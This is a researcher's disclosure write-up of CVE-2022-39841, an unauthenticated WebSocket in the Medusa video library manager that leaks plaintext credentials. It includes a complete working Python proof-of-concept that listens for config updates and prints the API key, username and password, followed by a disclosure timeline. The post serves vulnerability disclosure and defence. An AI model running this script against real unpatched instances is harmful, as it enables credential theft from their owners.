CVE-2022-39841 Medusa's leaky WebSocket
A critical vulnerability in Medusa allows for information leakage, including plaintext credentials, by attaching to an unauthenticated WebSocket and waiting for a user to make a configuration change.
tldr;
A critical vulnerability in Medusa allows for information leakage, including plaintext credentials, by attaching to an unauthenticated WebSocket and waiting for a user to make a configuration change.
Affected Versions: All versions between 0.1.16-dev0 (2017) and 1.0.7 (2022)CVSS Score: 9.8 Links: Mitre, NVDProof of Concept: GitHub
Medusa
First, what is Medusa? This is best answered by quoting their own site:
[Medusa is an] Automatic Video Library Manager for TV Shows. It watches for new episodes of your favorite shows, and when they are posted it does its magic.
Discovery
One of my favorite things to do is looking for bugs in code, so this weekend I decided to go bug hunting. Medusa is written in Python with a vue.js front end, so I used the SAST tool Bandit to quickly highlight any critical issues to review.
There were a few small things of interest here but it was mostly intended functionality of the application and all behind authentication. I spent some time experimenting, trying to chain together some of this functionality into something more meaningful like code execution.
What I really wanted to find were things that did not require authentication. I explored the static FileHandlers, where no auth is required and path traversal was possible but they were still restricted to specific directories.
That’s when I noticed the definition for a WebSocket:
After looking at the WebSocketUIHandler
, it didn’t appear that there was anything in this call that required authentication.
Now it’s time to see what this WebSocket is used for. To do this, I opened up Burp Proxy and started using the web application as normal to see what messages were sent.
Quickly, I noticed that it was used to send async updates to the page when settings change, on notifications and other events. One interesting thing here is that when the settings are updated, a lot of sensitive data is sent, including the plaintext credentials required to access the web application.
This looked promising, and I confirmed in Burp that the authentication cookie was not required for the WebSocket to send messages. Let’s take it to the next level.
Proof of Concept (PoC)
Any excuse to write a tidy little Python script, right? So to confirm my findings above, I got familiar with the websocket library to see if we could leak a username/password given and IP address and port of a running Medusa instance.
# Copyright (C) 2022 Mat Rollings
# https://github.com/stealthcopter/CVE-2022-39841
import json
import websocket
"""
This PoC script can point at an instance of Medusa that is password protected and
it will connect to the unauthenticated websocket it is running and wait for the
configuration to be changed and leak the username/password when it is.
"""
IP = '192.168.1.237'
PORT = 8083
WEBROOT = '/'
def on_message(ws, message):
obj = json.loads(message)
event = obj.get('event')
data = obj.get('data')
if event == 'configUpdated':
section = data.get('section')
config = data.get('config')
if config:
webinterface = config.get('webInterface', {})
apiKey = webinterface.get('apiKey')
username = webinterface.get('username')
password = webinterface.get('password')
print(f'{apiKey} {username} {password}')
ws.close()
def on_error(ws, error):
print(error)
def on_close(ws, close_status_code, close_msg):
print("### closed ###")
def on_open(ws):
print("### Opened connection ###")
ws = websocket.WebSocketApp(f"ws://{IP}:{PORT}{WEBROOT}ws/ui",
on_open=on_open,
on_message=on_message,
on_error=on_error,
on_close=on_close)
ws.run_forever(ping_interval=60)
You can see the latest and full script in the GitHub repo.
Exploit in action
Let’s take it for a spin. We first need to modify the PoC by adding the IP address and Port of our docker instance we’ve setup for testing:
IP = '192.168.1.237'
PORT = 8083
We then run the exploit:
If you’ve enabled trace debugging on the websocket
library you will get to see the HTTP request and response for the HTTP upgrade request. This the the HTTP conversation that is responsible for setting up the WebSocket connection.
Now we open up the web interface for Medusa in a browser and log in. Then we go to any settings page and click save.
Shortly after this, Medusa will send the new configuration object over the WebSocket. The PoC script will receive this and leak the plaintext api key, username and password:
Timeline
This was an incredibly fast responsible disclosure, with a fix ready, tested and merged within a day.
- 03/09/22 - Vulnerability discovered
- 04/09/22 - Vulnerability disclosed
- 05/09/22 - Pull request with fix opened
- 05/09/22 - Pull request merged into dev branch
- 06/09/22 - Dev branch merged into master branch (release 1.0.8)
- 15/09/22 - Vulnerability publicly disclosed (+12 days)
Summary
WebSockets are easy to overlook when considering authentication and authorization, which is likely how this vulnerability likely slipped under the radar for so long.